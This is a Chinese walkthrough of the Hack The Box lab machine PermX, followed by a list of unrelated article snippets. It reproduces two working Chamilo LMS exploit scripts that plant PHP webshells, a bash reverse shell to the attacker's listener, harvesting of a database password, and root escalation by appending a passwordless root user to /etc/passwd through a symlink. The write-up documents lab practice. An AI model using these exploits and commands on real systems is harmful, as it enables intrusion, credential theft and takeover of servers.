HTB:PermX[WriteUP]
目录
连接至HTB服务器并启动靶机
1.How many TCP ports are listening on PermX?
使用nmap对靶机TCP端口进行开放扫描
2.What is the default domain name used by the web server on the box?
使用curl访问靶机80端口
3.On what subdomain of permx.htb is there an online learning platform?
使用ffuf对该域名进行子域名FUZZ
使用浏览器直接访问该子域
4.What is the name of the application running on `lms.permx.htb?
使用Wappalyzer查看该网站技术栈
5.What version of Chamilo is running on PermX?
使用ffuf对子域进行路径FUZZ
使用浏览器访问子域下robots.txt文件
6.What is the name of the 2023 CVE ID for a stored cross-site scripting vulnerability that leads to remote code execution?
启动Metasploit
进入CVE.MITRE.ORG网站搜索该CMS相关漏洞
7.What user is the webserver running as on PermX?
8.What is the full path to the file that holds configuration data to include the database connection information for Chamilo?
本地侧使用nc开始监听
9.Submit the flag located in the mtz user's home directory.
USER_FLAG:7239022c6248c28ed2945734c9e07ac9
10.What is the full path to the script that the mtz user can run as any user without a password?
11./opt/acl.sh allow for changing the access control list on file in what directory? (Don't include the trailing / on the directory.)
12.Does setfacl follow symbolic links by default?(YES)
13.Submit the flag located in the root user's home directory.
ROOT_FLAG:86f2867102ba7ec4855205a4f2096539
连接至HTB服务器并启动靶机
靶机IP:10.10.11.23
分配IP:10.10.14.12
1.How many TCP ports are listening on PermX?
使用nmap对靶机TCP端口进行开放扫描
nmap -p- --min-rate=1500 -T5 -sS -Pn 10.10.11.23
由扫描结果可见,靶机开放端口:22、80共2个端口
2.What is the default domain name used by the web server on the box?
使用curl访问靶机80端口
curl -I 10.10.11.23:80
┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# curl -I 10.10.11.23:80
HTTP/1.1 302 Found
Date: Mon, 04 Nov 2024 00:32:59 GMT
Server: Apache/2.4.52 (Ubuntu)
Location: http://permx.htb
Content-Type: text/html; charset=iso-8859-1
由输出可见,直接访问靶机IP将被重定位至:permx.htb
3.On what subdomain of permx.htb
is there an online learning platform?
将靶机IP与域名进行绑定
echo '10.10.11.23 permx.htb' >> /etc/hosts
使用ffuf对该域名进行子域名FUZZ
ffuf -u http://permx.htb -H 'Host: FUZZ.permx.htb' -w ../dictionary/subdomains-top1mil-5000.txt -fc 302
再次将靶机IP与该子域进行绑定
echo '10.10.11.23 lms.permx.htb' >> /etc/hosts
使用浏览器直接访问该子域
搜索Chamilo,可见该子域:lms.permx.htb托管一个在线学习平台
4.What is the name of the application running on `lms.permx.htb?
使用Wappalyzer查看该网站技术栈
可见该页面所用WebAPP为:Chamilo(CMS)
5.What version of Chamilo is running on PermX?
使用ffuf对子域进行路径FUZZ
ffuf -u http://lms.permx.htb/FUZZ -w ../dictionary/common.txt
使用浏览器访问子域下robots.txt文件
进入documentation目录下
由该页面标题可见,该CMS版本为:1.11
6.What is the name of the 2023 CVE ID for a stored cross-site scripting vulnerability that leads to remote code execution?
对该CMS进行漏洞搜索
searchsploit Chamilo
将RCE相关的EXP拷贝到当前目录下
searchsploit -m 49867.py
查看该EXP代码
cat 49867.py
# Exploit Title: Chamilo LMS 1.11.14 - Remote Code Execution (Authenticated)
# Date: 13/05/2021
# Exploit Author: M. Cory Billington (@_th3y)
# Vendor Homepage: https://chamilo.org
# Software Link: https://github.com/chamilo/chamilo-lms
# Version: 1.11.14
# Tested on: Ubuntu 20.04.2 LTS
# CVE: CVE-2021-31933
# Writeup: https://theyhack.me/CVE-2021-31933-Chamilo-File-Upload-RCE/from requests import Session
from random import choice
from string import ascii_lowercaseimport requests# This is all configuration stuff,
url = "http://127.0.0.1/chamilo-lms/" # URL to remote host web root
user_name = "admin" # User must be an administrator
password = "admin"
command = "id;whoami"# Where you want to upload your webshell. Must be writable by web server user.
# This spot isn't protectec by .htaccess
webshell_path = 'web/'
webshell_name = f"shell-{''.join(choice(ascii_lowercase) for _ in range(6))}.phar" # Just a random name for webshell file
content = f"<?php echo `{command}`; ?>"def main():# Run a context manager with a session object to hold login session after loginwith Session() as s:login_url = f"{url}index.php"login_data = {"login": user_name,"password": password}r = s.post(login_url, data=login_data) # login request# Check to see if login as admin user was successful.if "admin" not in r.url:print(f"[-] Login as {user_name} failed. Need to be admin")returnprint(f"[+] Logged in as {user_name}")print(f"[+] Cookie: {s.cookies}")file_upload_url = f"{url}main/upload/upload.php"# The 'curdirpath' is not santitized, so I traverse to the '/var/www/html/chamilo-lms/web/build' directory. I can upload to /tmp/ as wellphp_webshell_file = {"curdirpath": (None, f"/../../../../../../../../../var/www/html/chamilo-lms/{webshell_path}"),"user_upload": (webshell_name, content)}## Good command if you want to see what the request looks like without sending# print(requests.Request('POST', file_upload_url, files=php_webshell_file).prepare().body.decode('ascii'))# Two requests required to actually upload the filefor i in range(2):s.post(file_upload_url, files=php_webshell_file)exploit_request_url = f"{url}{webshell_path}{webshell_name}"print("[+] Upload complete!")print(f"[+] Webshell: {exploit_request_url}")# This is a GET request to the new webshell to trigger code executioncommand_output = s.get(exploit_request_url)print("[+] Command output:\n")print(command_output.text)if __name__ == "__main__":main()
由该EXP注释可知,该EXP基于漏洞:CVE-2021-31933。好像并不是我们要找的2023漏洞
启动Metasploit
msfconsole
搜索Chamilo相关模块
search Chamilo
可见该漏洞模块无需认证可直接代码注入导致RCE,切换至该模块
use exploit/linux/http/chamilo_unauth_rce_cve_2023_34960
查看该模块信息
info
从模块描述可见,该模块基于漏洞:CVE-2023-34960
往上一填,发现答案居然不对,才发现是要找存储型XSS漏洞
进入CVE.MITRE.ORG网站搜索该CMS相关漏洞
对stored cross-site进行搜索
该漏洞允许无认证文件执行JS脚本与上传Webshell:CVE-2023-4220
7.What user is the webserver running as on PermX?
我这边直接到Github上寻找该漏洞相关EXP
#!/usr/bin/env python3
# -*- coding: UTF-8 -*-# Name : CVE-2023-4220
# Autor : Insomnia (Jacob S.)
# IG : insomnia.py
# X : @insomniadev_
# Yt : insomnia-dev
# Github : https://github.com/insomnia-jacob
# Description: Automation of RCE in Chamilo LMS on affected versions of CVE-2023-4220 through a web shellimport argparse
import requests
import time
from os import system
import io# Colors
red = '\033[31m'
green = '\033[32m'
blue = '\033[34m'
yellow = '\033[93m'
reset = '\033[0m'def arguments():global argsparser = argparse.ArgumentParser()parser.add_argument( '-t', '--target', required=True ,help='Enter the target domain, for example: http://example.com' )args = parser.parse_args()def check_url_exists(url):print(blue,'\n\n[+]', reset, 'Checking if it is vulnerable.')try:response = requests.head(url + '/main/inc/lib/javascript/bigupload/files', allow_redirects=True)if response.status_code == 200:is_vuln()try:response2 = requests.head(url + '/main/inc/lib/javascript/bigupload/files/insomnia.php', allow_redirects=True)if response2.status_code == 200:print(f'Success! open in browser: {url}/main/inc/lib/javascript/bigupload/files/insomnia.php')else:upload_file(args.target)except requests.RequestException as e:print(red,f"[x] Error checking the URL: {e}")return Falseelse:print(f'Error {url}')except requests.RequestException as e:print(red,f"[x] Error checking the URL: {e}")return Falsedef upload_file(url):new_url = url + '/main/inc/lib/javascript/bigupload/inc/bigUpload.php?action=post-unsupported'insomnia_php = """
<html>
<body>
<form method="GET" name="<?php echo basename($_SERVER['PHP_SELF']); ?>">
<input type="TEXT" name="cmd" autofocus id="cmd" size="80">
<input type="SUBMIT" value="Execute">
</form>
<pre>
<?phpif(isset($_GET['cmd'])){system($_GET['cmd'] . ' 2>&1');}
?>
</pre>
</body>
</html>
"""file_like_object = io.BytesIO(insomnia_php.encode('utf-8'))file_like_object.name = 'insomnia.php' files = {'bigUploadFile': file_like_object}response3 = requests.post(new_url, files=files)print(response3.status_code)print(f'Success! open in browser: {url}/main/inc/lib/javascript/bigupload/files/insomnia.php')def is_vuln():print(red,'''
███████████████████████████
███████▀▀▀░░░░░░░▀▀▀███████
████▀░░░░░░░░░░░░░░░░░▀████
███│░░░░░░░░░░░░░░░░░░░│███
██▌│░░░░░░░░░░░░░░░░░░░│▐██
██░└┐░░░░░░░░░░░░░░░░░┌┘░██
██░░└┐░░░░░░░░░░░░░░░┌┘░░██ [*] "It is vulnerable!"
██░░┌┘▄▄▄▄▄░░░░░▄▄▄▄▄└┐░░██
██▌░│██████▌░░░▐██████│░▐██ [*] "It is vulnerable!"
███░│▐███▀▀░░▄░░▀▀███▌│░███
██▀─┘░░░░░░░▐█▌░░░░░░░└─▀██ [*] "It is vulnerable!"
██▄░░░▄▄▄▓░░▀█▀░░▓▄▄▄░░░▄██
████▄─┘██▌░░░░░░░▐██└─▄████ [*] "It is vulnerable!"
█████░░▐█─┬┬┬┬┬┬┬─█▌░░█████
████▌░░░▀┬┼┼┼┼┼┼┼┬▀░░░▐████
█████▄░░░└┴┴┴┴┴┴┴┘░░░▄█████
███████▄░░░░░░░░░░░▄███████
██████████▄▄▄▄▄▄▄██████████
███████████████████████████
''', reset) def target(url):print(blue ,f' URL: {url}')time.sleep(3)system("clear") def banner():textBanner = rf"""/ __)/ )( \( __)___(___ \ / \(___ \( __ \ ___ / _ \(___ \(___ \ / \
( (__ \ \/ / ) _)(___)/ __/( 0 )/ __/ (__ ((___)(__ ( / __/ / __/( 0 )\___) \__/ (____) (____) \__/(____)(____/ (__/(____)(____) \__/
"""print(green,textBanner)print(yellow,' by Insomnia (Jacob S.)')def main():arguments()banner()target(args.target)check_url_exists(args.target)if __name__ == '__main__':main()
直接使用该EXP开始漏洞利用
python exploit.py -t http://lms.permx.htb/
直接访问EXP提供的URL,执行whoami命令
由回显可见,当前用户为:www-data
8.What is the full path to the file that holds configuration data to include the database connection information for Chamilo?
本地侧使用nc开始监听
nc -lvnp 1425
通过EXP提供的Webshell反弹shell
bash -c 'bash -i >& /dev/tcp/10.10.14.12/1425 0>&1'
┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# nc -lvnp 1425
listening on [any] 1425 ...
connect to [10.10.14.12] from (UNKNOWN) [10.10.11.23] 53550
bash: cannot set terminal process group (1173): Inappropriate ioctl for device
bash: no job control in this shell
www-data@permx:/var/www/chamilo/main/inc/lib/javascript/bigupload/files$ whoami
<ilo/main/inc/lib/javascript/bigupload/files$ whoami
www-data
提升TTY
script -c /bin/bash -q /dev/null
搜索WebAPP下所有可能的配置相关文件并输出为列表
find /var/www/chamilo -name 'conf*' -type f 2>/dev/null | tee res.txt
逐个查看文件内容,并匹配'password'字段
cat res.txt | xargs -I {} sh -c 'cat {} | grep "password"'
查询该字段出处:03F6lY3uXAP2bkW8
xargs -I {} sh -c 'grep -m1 "03F6lY3uXAP2bkW8" "{}" && echo "Found in {}"' < res.txt
www-data@permx:/var/www/chamilo$ xargs -I {} sh -c 'grep -m1 "03F6lY3uXAP2bkW8" "{}" && echo "Found in {}"' < res.txt
<lY3uXAP2bkW8" "{}" && echo "Found in {}"' < res.txt
$_configuration['db_password'] = '03F6lY3uXAP2bkW8';
Found in /var/www/chamilo/app/config/configuration.php
从该文件中找出匹配字符串并输出上下5行
grep -C 5 '03F6lY3uXAP2bkW8' /var/www/chamilo/app/config/configuration.php
www-data@permx:/var/www/chamilo$ grep -C 5 '03F6lY3uXAP2bkW8' /var/www/chamilo/app/config/configuration.php
<bkW8' /var/www/chamilo/app/config/configuration.php
// Database connection settings.
$_configuration['db_host'] = 'localhost';
$_configuration['db_port'] = '3306';
$_configuration['main_database'] = 'chamilo';
$_configuration['db_user'] = 'chamilo';
$_configuration['db_password'] = '03F6lY3uXAP2bkW8';
// Enable access to database management for platform admins.
$_configuration['db_manager_enabled'] = false;/**
* Directory settings.
账户:chamilo
密码:03F6lY3uXAP2bkW8
总结一下,该文件存储着数据库连接信息:/var/www/chamilo/app/config/configuration.php
9.Submit the flag located in the mtz user's home directory.
查看靶机支持登录的用户
cat /etc/passwd
尝试使用该用户对靶机进行SSH服务登录
ssh mtz@10.10.11.23
查询user_flag位置并查看其内容
mtz@permx:~$ find / -name 'user.txt' 2>/dev/null
/home/mtz/user.txt
mtz@permx:~$ cat /home/mtz/user.txt
7239022c6248c28ed2945734c9e07ac9
USER_FLAG:7239022c6248c28ed2945734c9e07ac9
10.What is the full path to the script that the mtz user can run as any user without a password?
查看该用户可无密码特权运行的命令
sudo -l
mtz@permx:~$ sudo -l
Matching Defaults entries for mtz on permx:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_ptyUser mtz may run the following commands on permx:
(ALL : ALL) NOPASSWD: /opt/acl.sh
存在文件可无密码特权运行:/opt/acl.sh
11./opt/acl.sh
allow for changing the access control list on file in what directory? (Don't include the trailing /
on the directory.)
通过脚本内容可知,该脚本运行后允许在/home/mtz目录下赋任意链接任意权限
12.Does setfacl
follow symbolic links by default?(YES)
13.Submit the flag located in the root user's home directory.
尝试创建连接test,连接至/etc/passwd
ln -s /etc/passwd /home/mtz/test
通过/opt/acl.sh脚本为/home/mtz/test链接赋读写权限
sudo /opt/acl.sh mtz rw /home/mtz/test
mtz@permx:~$ ln -s /etc/passwd /home/mtz/test
mtz@permx:~$ ls
priv test user.txt
mtz@permx:~$ sudo /opt/acl.sh mtz rw /home/mtz/test
往/home/mtz/test链接中写入新用户
echo '0dayhp::0:0:0dayhp:/root:/bin/bash' >> /home/mtz/test
切换到0dayhp用户bash
su 0dayhp
查找root_flag位置并查看其内容
root@permx:/home/mtz# find / -name 'root.txt'
/root/root.txt
/var/www/chamilo/vendor/symfony/intl/Tests/Data/Bundle/Reader/Fixtures/txt/root.txt
root@permx:/home/mtz# cat /root/root.txt
86f2867102ba7ec4855205a4f2096539
ROOT_FLAG:86f2867102ba7ec4855205a4f2096539
相关文章:

HTB:PermX[WriteUP]
目录 连接至HTB服务器并启动靶机 1.How many TCP ports are listening on PermX? 使用nmap对靶机TCP端口进行开放扫描 2.What is the default domain name used by the web server on the box? 使用curl访问靶机80端口 3.On what subdomain of permx.htb is there an o…...
uniapp 整合 OpenLayers - 使用modify修改要素
import { Modify } from "ol/interaction"; 修改点、线、面的位置和形状核心代码: // 修改要素核心代码modifyFeature() {this.modify new Modify({source: this.lineStringLayer.getSource(),});this.map.addInteraction(this.modify);}, 完整代码&am…...

JMeter快速造数之数据导入导出
导入数据 输入表格格式如下 创建CSV Data Set Config 在Body Data中调用 { "username": "${email}", "password": "123456", "client_id": "00bb9dbfc67439a5d42e0e19f448c7de310df4c7fcde6feb5bd95c6fac5a5afc"…...

框架学习01-Spring
一、Spring框架概述 Spring是一个开源的轻量级Java开发框架,它的主要目的是为了简化企业级应用程序的开发。它提供了一系列的功能,包括控制反转(IOC)、注入(DI)、面向切面编程(AOP)…...

Java | Leetcode Java题解之第539题最小时间差
题目: 题解: class Solution {public int findMinDifference(List<String> timePoints) {int n timePoints.size();if (n > 1440) {return 0;}Collections.sort(timePoints);int ans Integer.MAX_VALUE;int t0Minutes getMinutes(timePoint…...

126页PPT麦肯锡战略实施与成本优化:质效提升与精益采购实践
麦肯锡企业PMO的各个阶段是一个结构化和系统化的过程,旨在确保项目的高效执行和成功交付。以下是麦肯锡企业PMO各个阶段的详细描述: 一、项目启动与规划阶段 此阶段的主要目标是明确项目目标、业务需求,以及制定项目章程和项目管理计划。 …...

Modbus解析流程全面升级:体验全新核心与终极优化!
01 前言 本文章原文发表于我的微信公众号,请大家关注阅读,涉及的源代码等都在公众号,请搜索公众号: 智能家居NodeRed和HomeAssistant 即可关注。 02 全面改进的解析流程 前面发布过的Modbus解析流程在经过多个设备测试后发现存…...

【MWorks】Ubuntu 系统搭建
升级 Ubuntu系统 sudo apt-get update sudo apt-get upgrade安装流程 sudo chmod x 路径/文件.run安装 sudo 路径/文件.run安装过程中两个选项都填 y 打开安装对应的文件夹 运行 syslab.sh 文件,运行结束后,就可以在左上角开始搜索到syslab了。...
安装Element-Plus与v-model在vue3组件中的使用
安装Element-Plus 1.安装Element-Plus # 选择一个你喜欢的包管理器# NPM npm install element-plus --save# Yarn yarn add element-plus# pnpm pnpm install element-plus 2.main.ts中导入 import { createApp } from vue import { createPinia } from piniaimport App fr…...

Qt学习笔记第41到50讲
第41讲 UI美化遗留问题解决 如上图所示目前记事本的雏形已现,但是还是有待优化,比如右下角的拖动问题。 解决方法: ①首先修改了Widget类的构造函数。 Widget::Widget(QWidget *parent) : QWidget(parent) , ui(new Ui::Widget) {ui->s…...
加固筑牢安全防线:多源威胁检测响应在企业网络安全运营中的核心作用
随着网络攻防技术的演进,传统威胁检测技术手段已难以适应快速变化的威胁。多维度协同的攻击手段使得单一的检测技术难以应对复杂的网络安全威胁,企业需要更先进的检测技术来提升安全防护能力。 一、传统威胁检测技术与单一检测的局限性 传统威胁检测技术…...

用Python将PDF表格提取到文本、CSV和Excel文件中
从PDF文档中提取表格并将其转换为更易于处理的格式(如文本、CSV和Excel文件),是数据分析和信息管理中的常见需求。此过程可显著简化表格数据的处理,使数据的操作、分析和与其他数据集的集成更加便捷。无论是财务报表、研究论文&am…...
AIGC在游戏设计中的应用及影响
文章目录 一、AIGC的基本概念与背景AIGC的主要应用领域AIGC技术背景 二、AIGC在游戏设计中的应用1. 自动化游戏地图与关卡设计示例:自动生成2D平台游戏关卡 2. 角色与物品生成示例:使用GAN生成虚拟角色 3. 游戏剧情与任务文本生成示例:基于GP…...

给初学者的 Jupyter Notebook 教程
目录 一、什么是Jupyter Notebook? 1. 简介 2. 组成部分 ① 网页应用 ② 文档 3. Jupyter Notebook的主要特点 二、安装Jupyter Notebook 0. 先试用,再决定 1. 安装 ① 安装前提 ② 使用Anaconda安装 ③ 使用pip命令安装 三、运行Jupyter No…...
搜维尔科技:Xsens和BoB助力生物力学教育
Xsens和BoB助力生物力学教育 搜维尔科技:Xsens和BoB助力生物力学教育...
Vue动态计算Table表格的高度
因为每个用户不同的电脑屏幕宽高度,造成了Table表格的高度不一致,因此想要动态计算出table的高度,让其能够正常的铺满整个屏幕 代码 完整代码如下:首先计算 窗口的高度 - 搜索框的高度 - 固定数值 mounted () {// 计算搜索框的高…...

【MongoDB】MongoDB的聚合(Aggregate、Map Reduce)与管道(Pipline) 及索引详解(附详细案例)
文章目录 MongoDB的聚合操作(Aggregate)MongoDB的管道(Pipline操作)MongoDB的聚合(Map Reduce)MongoDB的索引 更多相关内容可查看 MongoDB的聚合操作(Aggregate) 简单理解ÿ…...
数组和字符串的es6新方法使用和综合案例
文章目录 一、数组1.forEach() 对数组中的每个元素执行回调函数,无返回值。2.map() 通过对数组中的每个元素执行回调函数生成新的数组3.filter() 过滤返回一个符合条件的新数组4.find() 返回符合条件的第一个数组元素,如果不存在则返回undefined5.every(…...

JS语法进阶第一课!—DOM(重点)
1、DOM概念 DOM 是 JavaScript 操作网页的接口,全称为“文档对象模型”(Document Object Model) 当网页被加载时,浏览器将网页转为一个DOM,并用JS进行各种操作。比如:改变页面中的HTML 元素及其属性&#x…...
Swift 开发教程系列 - 第5章:集合类型
Swift 提供了几种常用的集合类型,用于存储和管理一组数据。这些集合类型包括数组(Array)、字典(Dictionary)和集合(Set)。本章将介绍它们的使用方法及常见操作。 5.1 数组(Array&am…...
golang循环变量捕获问题
在 Go 语言中,当在循环中启动协程(goroutine)时,如果在协程闭包中直接引用循环变量,可能会遇到一个常见的陷阱 - 循环变量捕获问题。让我详细解释一下: 问题背景 看这个代码片段: fo…...

STM32F4基本定时器使用和原理详解
STM32F4基本定时器使用和原理详解 前言如何确定定时器挂载在哪条时钟线上配置及使用方法参数配置PrescalerCounter ModeCounter Periodauto-reload preloadTrigger Event Selection 中断配置生成的代码及使用方法初始化代码基本定时器触发DCA或者ADC的代码讲解中断代码定时启动…...

屋顶变身“发电站” ,中天合创屋面分布式光伏发电项目顺利并网!
5月28日,中天合创屋面分布式光伏发电项目顺利并网发电,该项目位于内蒙古自治区鄂尔多斯市乌审旗,项目利用中天合创聚乙烯、聚丙烯仓库屋面作为场地建设光伏电站,总装机容量为9.96MWp。 项目投运后,每年可节约标煤3670…...
【论文笔记】若干矿井粉尘检测算法概述
总的来说,传统机器学习、传统机器学习与深度学习的结合、LSTM等算法所需要的数据集来源于矿井传感器测量的粉尘浓度,通过建立回归模型来预测未来矿井的粉尘浓度。传统机器学习算法性能易受数据中极端值的影响。YOLO等计算机视觉算法所需要的数据集来源于…...

Python爬虫(一):爬虫伪装
一、网站防爬机制概述 在当今互联网环境中,具有一定规模或盈利性质的网站几乎都实施了各种防爬措施。这些措施主要分为两大类: 身份验证机制:直接将未经授权的爬虫阻挡在外反爬技术体系:通过各种技术手段增加爬虫获取数据的难度…...

【Zephyr 系列 10】实战项目:打造一个蓝牙传感器终端 + 网关系统(完整架构与全栈实现)
🧠关键词:Zephyr、BLE、终端、网关、广播、连接、传感器、数据采集、低功耗、系统集成 📌目标读者:希望基于 Zephyr 构建 BLE 系统架构、实现终端与网关协作、具备产品交付能力的开发者 📊篇幅字数:约 5200 字 ✨ 项目总览 在物联网实际项目中,**“终端 + 网关”**是…...
【HarmonyOS 5 开发速记】如何获取用户信息(头像/昵称/手机号)
1.获取 authorizationCode: 2.利用 authorizationCode 获取 accessToken:文档中心 3.获取手机:文档中心 4.获取昵称头像:文档中心 首先创建 request 若要获取手机号,scope必填 phone,permissions 必填 …...

dify打造数据可视化图表
一、概述 在日常工作和学习中,我们经常需要和数据打交道。无论是分析报告、项目展示,还是简单的数据洞察,一个清晰直观的图表,往往能胜过千言万语。 一款能让数据可视化变得超级简单的 MCP Server,由蚂蚁集团 AntV 团队…...
docker 部署发现spring.profiles.active 问题
报错: org.springframework.boot.context.config.InvalidConfigDataPropertyException: Property spring.profiles.active imported from location class path resource [application-test.yml] is invalid in a profile specific resource [origin: class path re…...

关键领域软件测试的突围之路:如何破解安全与效率的平衡难题
在数字化浪潮席卷全球的今天,软件系统已成为国家关键领域的核心战斗力。不同于普通商业软件,这些承载着国家安全使命的软件系统面临着前所未有的质量挑战——如何在确保绝对安全的前提下,实现高效测试与快速迭代?这一命题正考验着…...